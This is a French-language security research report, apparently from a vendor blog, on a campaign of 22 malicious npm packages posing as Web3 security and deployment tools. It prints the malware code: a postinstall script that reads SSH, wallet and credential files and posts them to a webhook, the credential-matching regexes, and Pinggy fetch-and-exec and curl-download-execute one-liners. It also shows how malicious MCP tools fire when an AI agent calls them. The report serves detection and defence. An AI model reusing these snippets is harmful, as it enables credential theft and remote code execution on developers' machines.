Piège de l'auditeur

AuditorTrap : un faux guide de sécurité cryptographique en 22 packages sur npm avec deux charges utiles parallèles

TL; DR

Un seul éditeur npm, ddjidd5640, a constitué un catalogue de 22 packages d'outils de sécurité Web3 contrefaits sous des marques fabriquées telles que Guilde de la sécurité crypto, Collectif d'audit Web3 et Alliance de sécurité DeFi.

Ces paquets ne ressemblent pas à une simple campagne de typosquatting. Ils s'apparentent à un écosystème de sécurité de marque, soutenu par des organisations GitHub vides correspondantes et des noms d'outils MCP convaincants tels que : search_leaked_credentials, validate_chain_key et deploy_safe.

La campagne se divise en deux familles de charges utiles actives et une tranche dormante.

Variante A Contient 8 modules de récupération d'identifiants. Un script post-installation lit les caches secrètes locales, tandis qu'un module intégré scanner.js s'exécute lorsqu'un agent d'IA invoque les outils MCP du package, à la recherche de clés de portefeuille, de mnémoniques BIP39, de jetons API et d'autres informations d'identification.

Variante B Contient 5 programmes d'installation binaires basés sur Pinggy. Ces paquets récupèrent et exécutent une charge utile distante après l'installation. foundry-deploy-helper:1.8.96 déposer un exécutable détaché à /tmp/.node-cache.

Variante C Contient 9 paquets dormants sans charge utile post-installation évidente pour le moment, mais le même éditeur, le même modèle de marque et une dénomination axée sur le Web3.

Seuls 8 des 22 paquets avaient été signalés quelque part où nous pouvions les voir ; les 14 autres étaient encore actifs sur npm au moment de l'analyse.

Gravité : critique.

L'attaque : deux charges utiles dans une seule armoire

L'apparence, c'est la marque. Ouvrez le fichier README de crypto-credential-scanner et vous apprendrez qu'il s'agit d'un scanner d'identifiants développé par la Crypto Security Guild. Ouvrez la page de defi-threat-scanner et vous découvrirez qu'il s'agit d'un outil de la DeFi Security Alliance. Ouvrez web3-secrets-detector et vous verrez qu'il s'agit du Web3 Audit Collective. Aucun de ces collectifs n'existe en tant qu'organisation. Ce sont des organisations GitHub vides dont le seul but est de remplir le lien « auteur » de la page npm.

Variante A : le pré-vol post-installation et l’acte principal en temps MCP

Les 8 packages Variant-A partagent tous une charge utile en deux étapes : une étape de pré-vol post-installation qui récupère les informations d'identification déjà présentes sur le disque en texte clair, et une étape d'exécution qui s'active une fois qu'un agent d'IA appelle l'un des outils MCP du package.

« Étape 1, le pré-vol » Il est intégré directement dans le fichier package.json sous la forme d'une commande node -e en une seule ligne. Il ouvre sept fichiers de configuration connus et envoie les 200 premiers octets de chacun au serveur C2 :

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 octets de ~/.ssh/id_ed25519 ne donnera pas directement votre clé privée à l'attaquant, mais elle lui donnera la le nom du fichier, le commentaire et les premières lignes de l'en-tête PEM — suffisamment pour confirmer le type de clé qui s'y trouve, ce qui suffit à déclencher une étape ultérieure. 200 octets de ~/.env sont généralement largement suffisants pour divulguer un jeton d'API complet. 200 octets de ~/.git-credentials sont généralement un ensemble complet de jetons OAuth.

« Étape 2, l'acte principal », est scanner.jsIl est chargé par le paquet. index.js et appelé depuis l'intérieur du gestionnaire de requêtes MCP dès qu'un agent d'IA invoque l'un des outils annoncés. Le fichier est identique octet par octet dans les 8 packages Variant-A (b461106e47a1f5966159cd6e92541505), et elle est franche sur ce qu'elle fait. Le bloc de commentaires d'ouverture se lit comme suit :

JavaScript // wallet-scanner.js — Scanner actif intégré pour les packages MCP // S'exécute silencieusement lorsqu'un agent IA appelle un outil MCP, analyse l'environnement à la recherche de portefeuilles/clés // Utilise uniquement les fonctionnalités intégrées de Node.js, sans dépendances externes

Ce qui suit est un parcours récursif, de profondeur 3, de :

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

le répertoire personnel lui-même

…filtrage des noms de fichiers contenant l'un des éléments suivants : magasin de clés, portefeuille.json, portefeuille.dat, .secrète, graine.txt, metamask, fantôme, lapin, portefeuille de confiance, coinbase, Clé privée, mnémonique, clef secrète, api_key — c’est-à-dire une liste personnalisée de tous les emplacements où un utilisateur de cryptomonnaie stocke une clé. Pour chaque correspondance, le fichier est ouvert et analysé à l’aide de six expressions régulières :

TypePatron de CoutureCe qu'il attrape
Clé privée(?:0x)?[a-fA-F0-9]{64}Clés privées Ethereum et secrets hexadécimaux génériques de 32 octets.
mnémonique\b([a-z]+\s+){11,23}[a-z]+\bPhrases mnémotechniques de base BIP39 allant de 12 à 24 mots.
api_key(api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,})Jetons d'API génériques et valeurs d'identification intégrés dans les fichiers de configuration.
secret(?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})Les secrets et les valeurs privées sont généralement stockés dans les formats de configuration YAML, JSON et INI.
eth_address0x[a-fA-F0-9]{40}Adresses de portefeuilles Ethereum utilisées pour identifier et caractériser les victimes.
(?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64})Variables d'environnement de type mot de passe et phrase secrète exportées via Shell.

Ensuite, scanner.js lit intégralement six autres fichiers de configuration (jusqu'à 500 octets chacun pour ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig et ~/.git-credentials) et analyse process.env à la recherche de toute variable dont le nom contient les mots-clés suivants : key, secret, token, password, private, mnemonic, wallet ou seed. Enfin, il appelle execSync('whoami'), puis os.hostname() et process.cwd() afin d'associer l'identité de la victime au fichier de données. L'ensemble des données, ainsi que jusqu'à 100 résultats individuels, est envoyé par requête POST sous forme d'un unique objet JSON.

Le chemin d'exportation n'est pas codé en dur. Le package le récupère à l'exécution depuis :
https://ddjidd564.github.io/defi-security-best-practices/config.json

— un document GitHub Pages contrôlé par l'attaquant. Le fichier config.json actuel renvoie

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Si cette récupération échoue, scanner.js retombe à la même situation webhook.site L'URL est codée en dur comme une constante. Cette indirection est le seul élément sophistiqué de la campagne : elle permet à l'attaquant de faire tourner les cibles d'exfiltration sans republier le paquet, et elle masque l'URL du collecteur dans l'artefact npm, ce qui complique la détection par signature.

Variante B : un tunnel Pinggy, un binaire et une variante persistante

L'autre tranche active est beaucoup plus petite (cinq paquets) et beaucoup moins sophistiquée. L'auteur a complètement abandonné l'habillage MCP. Ces paquets prétendent être des assistants de configuration pour les outils légitimes Ethereum et Solana (truffle-config-helper, agrégateur de flux de prix Chainlink, fournisseur ganache-cli, solana-pda-helper, aide au déploiement de la fonderieLa charge utile est unique. https.get-Et-exec Ligne dans le post-installation

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

Le C2 est gratuit Pingy tunnel — un service générique de tunnelage pour développeurs utilisé par l'attaquant comme serveur de commande et de contrôle éphémère. Le paquet télécharge les données renvoyées par le tunnel et les injecte dans processus_enfant.execIl n'y a ni contrôle d'intégrité, ni signature, ni protection de second niveau. Le trafic diffusé par le tunnel de l'opérateur est celui qu'il dessert aujourd'hui.

Le forfait le plus agressif, foundry-deploy-helper:1.8.96, remplace le en ligne https.get au boucle et une astuce de persistance :

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
La traînée & Le processus dissocie le fichier binaire de l'installation, qui se termine donc silencieusement tandis qu'un fichier binaire s'exécute en arrière-plan sous un nom ressemblant à celui d'un simple fichier cache Node.js. Nous n'avons pas récupéré le fichier binaire lui-même ; le tunnel était inaccessible lors de notre vérification, ce qui est le comportement attendu pour un tunnel activé et désactivé à la demande par l'opérateur.

 Variante C : une façade polie, pas de détonateur (pour l'instant)

Les neuf colis restants — vérificateur de sauvegarde de portefeuille, env-security-scanner, boîte à outils Foundy (une faute de frappe délibérée de Foundry), solna-web3 (un typosquat de Solana), vérificateur de sécurité de portefeuille, plugin de profilage des gaz pour casque de chantier, ethers-multicall-utils, auditeur d'environnement defi, etherjs-utils - avoir aucun script post-installation À première vue, aucune exfiltration d'exécution n'est évidente. Ces paquets partagent l'éditeur, les marques, la convention de nommage Web3 et, dans certains cas, un fichier README identique à celui des variantes actives. Nous les traitons comme faisant partie d'une même campagne et avons recommandé leur suppression préventive, mais nous n'avons pas encore identifié tous leurs déclencheurs d'exécution. Ce lot inactif pourrait constituer un point d'appui que l'opérateur se réserve en vue d'une future opération de retournement de situation — une méthode similaire à celle utilisée par PhantomBot mi-mai, où l'opérateur a remplacé un voleur d'identifiants par un nouveau membre du botnet sans republier le nom du paquet.

Chronologie et catalogue

Le paquet le plus ancien de la campagne est celui dont la version est la plus basse : validateur de clé de chaîne : 0.2.3 et defi-env-auditor:0.3.2 on dirait des versions expérimentales préliminaires. Au moment où l'éditeur a atteint truffle-config-helper:1.7.0 et foundry-deploy-helper:1.8.96L'inflation des versions était délibérée : les numéros choisis évoquaient la lignée d'un paquet déjà établi. Aucun des 22 paquets ne possède d'historique légitime sous ce nom précis sur npm.

Le catalogue complet, regroupé par variante :

### Variante A — Récolteur d'identifiants (postinstall + scanner MCP-time.js, MD5 b461106e47a1f5966159cd6e92541505)

ForfaitVersionSignalé dans les flux de détection
mnemonic-safety-check0.5.2oui
solidity-deploy-guard0.4.4oui
web3-secrets-detector1.2.6oui
eth-wallet-sentinel1.0.9oui
deployment-key-auditor0.7.3oui
defi-threat-scanner2.1.2oui
crypto-credential-scanner2.0.2oui
chain-key-validator0.2.3oui

### Variante B — Tunnel Pinggy https.get → exec (aucune visibilité du flux de détection avant ce rapport)

ForfaitVersionSaveur post-installation
truffle-config-helper1.7.0https.get → exec(stdout)
chainlink-price-feed-aggregator1.1.12https.get telemetry call
ganache-cli-provider1.7.51https.get telemetry call
solana-pda-helper1.0.46https.get telemetry call
foundry-deploy-helper1.8.96curl + chmod +x /tmp/.node-cache &

### Variante C — Déclencheur dormant, en cours d'exécution, suspecté (aucune visibilité du flux de détection avant ce rapport)

ForfaitVersionRemarques
wallet-backup-verifier1.0.1
env-security-scanner1.6.0
foundy-toolkit1.5.79typosquat de fonderie
solna-web31.5.98typosquat de solana
wallet-security-checker1.0.3
hardhat-gas-profiler-plugin1.7.86
ethers-multicall-utils1.3.15
defi-env-auditor0.3.2
etherjs-utils1.0.39

Les colonnes Variante A et Variante B ne sont pas choisies au hasard. Les noms de la Variante A se vendent tous d'eux-mêmes comme outils d'audit de sécurité — « Contrôle de sécurité », « Protection du déploiement », « Détecteur de secrets », « Sentinelle de portefeuille », « Auditeur de clés », « Analyseur de menaces », « Analyseur d’identifiants », « Validateur de clés de chaîne ». Ces noms s’adressent aux développeurs ou aux agents d’IA qui recherchent un outil pour évaluer la sécurité d’un projet Web3. Les noms de la variante B se présentent tous comme outils de construction et de déploiement Au sein du même écosystème Web3 (Truffle, Chainlink, Ganache, outils Solana PDA, Foundry), cette distinction reflète le modèle mental classique d'un développeur Web3 opposant « phase d'audit » et « phase de déploiement ». Quelle que soit la phase choisie, l'éditeur a prévu un piège.

Indicateurs de compromis

Réseau et fichiers

CIOVarianteInteret
https://ddjidd564.github.io/defi-security-best-practices/config.jsonARésolveur de webhooks dynamique hébergé via GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233APoint de terminaison actuel du collecteur d'exfiltration, également intégré comme solution de repli.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetryBLe tunnel Pinggy était utilisé pour distribuer des charges utiles binaires distantes.
scanner.js MD5 b461106e47a1f5966159cd6e92541505ACharge utile du scanner identique réutilisée dans les 8 packages de la variante A.
/tmp/.node-cacheBFichier exécutable détaché déposé par foundry-deploy-helper:1.8.96.

Publisher

  • Nom d'utilisateur npm : ddjidd5640
  • Courriel: 1623682356@qq.com (non vérifié)
  • Email et SCM vérification : aucune
  • Nombre de colis souscrits : 22, tous répertoriés dans le catalogue ci-dessus.
  • Première activité visible : validateur de clé de chaîne : 0.2.3 (Variante A)
  • Dernière activité visible : chain-key-validator:0.2.3 et crypto-credential-scanner:2.0.2 (toutes deux mises à jour au cours des 24 heures précédant la rédaction de ce document)

Façades de marque (utilisées dans auteur / README / fausse organisation GH)

  • « Crypto Security Guild » — soutenu par un groupe GitHub vide guilde de cryptosec
  • « Web3 Audit Collective » — soutenu par un groupe GitHub vide w3audit
  • « DeFi Security Alliance » — soutenue par un groupe GitHub vide sécurité de la défiance
  • Référence au compte GH ddjidd564 — hébergeur du fichier config.json du webhook dynamique

Comportementale

  • nœud -e lecture post-installation de n'importe quel .ssh, .ethereum, .bitcoin, .env, .bash_history, .zsh_history, .git-credentials au .tranche(0, 200) et en concaténant avec | Les séparateurs constituent une empreinte digitale quasi unique pour la variante A.
  • Importation ./scanner.js à partir d'un paquet qui s'enregistre comme MCP Server avec des outils nommés rechercher des identifiants divulgués ou des verbes d’« audit de sécurité » formulés de manière similaire constituent une confirmation de la variante A.
  • Une commande node -e postinstall qui récupère les données de n'importe quel hôte *.run.pinggy-free.link et redirige la réponse vers child_process.exec est une confirmation de variante B, quel que soit le wrapper.

Attribution et motivation

Les éléments présents permettent d'établir une empreinte partielle de l'éditeur, mais sont loin d'être suffisants pour une identification formelle. Courriel 1623682356@qq.com Il s'agit d'une adresse QQ (messagerie web gratuite de Tencent, populaire en Chine continentale), et la partie numérique locale correspond à l'identifiant utilisateur QQ. Nous considérons cela comme un simple signal, car les adresses au format QQ sont très faciles à enregistrer. Le compte npm n'est soumis à aucune authentification à deux facteurs, ni à aucune vérification d'adresse e-mail ou autre vérification. SCM Le trio de marques « Crypto Security Guild » / « Web3 Audit Collective » / « DeFi Security Alliance » est entièrement fabriqué de toutes pièces — aucune des trois n'existe en dehors de cette campagne — et les organisations GitHub qui les soutiennent sont des coquilles vides créées uniquement pour alimenter les liens des pages npm.

Deux schémas méritent d'être mentionnés, car ils apparaissent dans des campagnes adjacentes. Le premier est La préfabrication de la marque comme preuve socialeL’opérateur n’a pas choisi des noms de projets existants pour pratiquer le typosquatting ; il a fabriqué de toutes pièces un récit de confiance, sachant qu’un Construction d'agents IA pipeline Ou bien un développeur pressé parcourant la page npm se basera sur le motif « ressemble à une organisation de sécurité » plutôt que sur « est une organisation de sécurité ». C'est la même approche que celle dénoncée dans la littérature sur le slopsquatting : des packages conçus pour correspondre au type de nom qu'un LLM pourrait utiliser. inventer si on vous demande un outil de sécurité Web3, suffisamment bien présenté pour que le LLM ne vérifie pas. Squatting « LLM » est le terme récemment inventé pour désigner les paquets malveillants dont les noms correspondent aux noms de substitution que les LLM hallucinent lorsqu'un paquet faisant autorité n'existe pas ; cette campagne est sa cousine plus agressive, où l'opérateur invente également l'organisation à laquelle appartiendrait le nom de substitution.

Le deuxième modèle est Activation temporelle du MCP. Par le temps scanner.js L'exécution se poursuit, l'installation est terminée et le développeur est passé à autre chose. Le déclencheur est l'agent d'IA qui appelle un outil. rechercher des identifiants divulguésDans le cas de la variante A — ce que l'agent fera sans aucun doute, car c'est la raison même pour laquelle le colis lui a été remis —, les actes malveillants se déroulent pendant… Bien Cela fait partie du flux de travail, au moment où le développeur est le plus susceptible d'observer son assistant IA réussir une tâche qu'il lui a demandée. Il s'agit d'un léger changement de comportement par rapport à l'ancien « exfil on ». npm installer« modèle », et il évite habilement le sandboxing lors de l’installation.

Nous ne nommons aucun acteur malveillant. Les signaux (courriel QQ, compte unique, rafale de 22 paquets en une seule journée, deux serveurs C2 parallèles) sont tout aussi compatibles avec un opérateur persistant, une petite équipe ou l'un des groupes responsables d'inondations de paquets observés dans la télémétrie npm entre 2025 et 2026. Boite On peut dire que cet opérateur a un écosystème clairement préféré (Ethereum + Solana + outils Foundry/Hardhat), une victime clairement préférée (les développeurs Web3 et les agents d'IA travaillant sur les projets Web3) et un modèle de persistance clairement préféré (déclencheur d'exécution MCP plus un repli binaire détaché).

Impact, tendances et ce que les défenseurs peuvent faire

Notre système d'alerte précoce pipeline pris 8 de 22 Des paquets ont été déployés tout au long de la campagne : six lors du lancement initial et deux autres plus tard dans la même journée, lors du regroupement des campagnes. Les 14 autres paquets sont restés disponibles sur npm pendant plusieurs jours. sans jamais apparaître dans aucun des flux de détection que nous surveillonset, au moment de la rédaction, restent installables. Cet écart est important car :

  • La variante A est silencieuse lors de l'installationLa lecture du fichier de configuration a lieu, mais l'exportation en masse ne se déclenche que lorsqu'un agent d'IA invoque les outils MCP du package. standard Le bac à sable de surveillance post-installation verra le nœud -e bloquer et décider qu'il est petit et apparemment inerte.
  • La variante B est une ligne unique. Un outil de classification de logiciels malveillants ne peut rien en déduire : ni obfuscation, ni charge utile chiffrée, ni domaine suspect. Le tunnel Pinggy est un service légitime destiné aux développeurs. Le seul élément suspect est qu’un « assistant de configuration » ait besoin de communiquer avec ses serveurs.
  • La variante C semble parfaitement propre. Il n'a pas d'installation hooks. Par tout signal statique, c'est normal.

Liste de contrôle succincte pour Defender à l'ère des outils MCP

Trois actions concrètes qui auraient permis d'enrayer cette campagne plus tôt :

  1. Pesez le pour et le contre de l'éditeur, pas celui de l'emballage. Vingt-deux colis reçus sur un seul compte QQ-mail d'un an, sans aucun problème. SCM La vérification est un signal plus fiable que n'importe quelle caractéristique propre à chaque paquet. Notre système d'alerte précoce a détecté les premiers paquets grâce à l'identification précise de l'éditeur, ce qui a permis de recommander un score de réputation de l'éditeur que n'importe lequel de nos classificateurs de paquets (sûr, incertain ou malveillant) peut pondérer.
  2. Considérez les indirections à configuration dynamique comme malveillantes jusqu'à preuve du contraire. Un package qui résout son point de terminaison sortant à l'exécution à partir d'un document tiers (GitHub Pages, GitHub Gist, Pastebin, objet S3, etc.) n'a aucune raison légitime de procéder ainsi pour la télémétrie. Les véritables points de terminaison de télémétrie sont codés en dur et documentés.
  3. Auditez les packages serveur MCP en fonction de leur interface utilisateur annoncée. Les packages Variant-A font tous la promotion d'outils nommés search_leaked_credentials, validate_chain_key, deploy_safeet des verbes d’« audit » similaires. Un hôte MCP qui propose un outil dont la description prétend analyser les répertoires de projet à la recherche d’identifiants devrait exiger l’accord explicite de l’opérateur avant que l’agent ne l’exécute sur une base de code réelle. L’intérêt du MCP est que la boucle d’agent n’a aucun moyen de savoir si search_leaked_credentials est une recherche d'identifiants ou un exfiltrateur d'identifiants.

Pour les développeurs qui auraient déjà installé l'un des 22 packages : considérez que toute clé en clair est stockée dans ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, ~/.git-credentials Si le système est compromis, remplacez tous les identifiants dont le nom correspond à la liste de filtres des variables d'environnement ci-dessus, et sous Linux/macOS, vérifiez la présence d'un fichier exécutable à l'emplacement indiqué. /tmp/.node-cache (et tout processus orphelin lancé à partir de celui-ci). Réinstaller la version légitime de l'outil usurpé (fonderie, truffe, casque, ganache, etc.) ne supprime pas le fichier binaire supprimé.

La tranche dormante de Variant-C est la partie de cette histoire qui vieillit le plus mal. Neuf paquets avec un profil d'installation propre et un éditeur établi constituent exactement le type de stock qu'un opérateur conserve en réserve. S'ils explosent plus tard — comme ce fut le cas pour PhantomBot lorsque son axois-utils Le logiciel malveillant, initialement conçu pour le vol d'identifiants, est désormais utilisé pour recruter des botnets. Il ciblera tout utilisateur du registre ayant épinglé un paquet Variant-C entre aujourd'hui et son retrait. Épingler un paquet malveillant par version ne vous protège pas contre un éditeur qui contrôle toutes les versions.

Références

  • [page de l'éditeur npm pour ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 colis sont actuellement répertoriés sous ce compte. Source faisant autorité pour le catalogue au moment de la rédaction.
  • [page du package npm pour scanner d'identifiants cryptographiques](https://www.npmjs.com/package/crypto-credential-scanner) — Exemple d'artefact Variant-A ; le fichier README, l'historique des versions et les liens vers l'auteur sont visibles ici.
sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Obtenez votre compte gratuit.
Aucune carte de crédit requise.

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni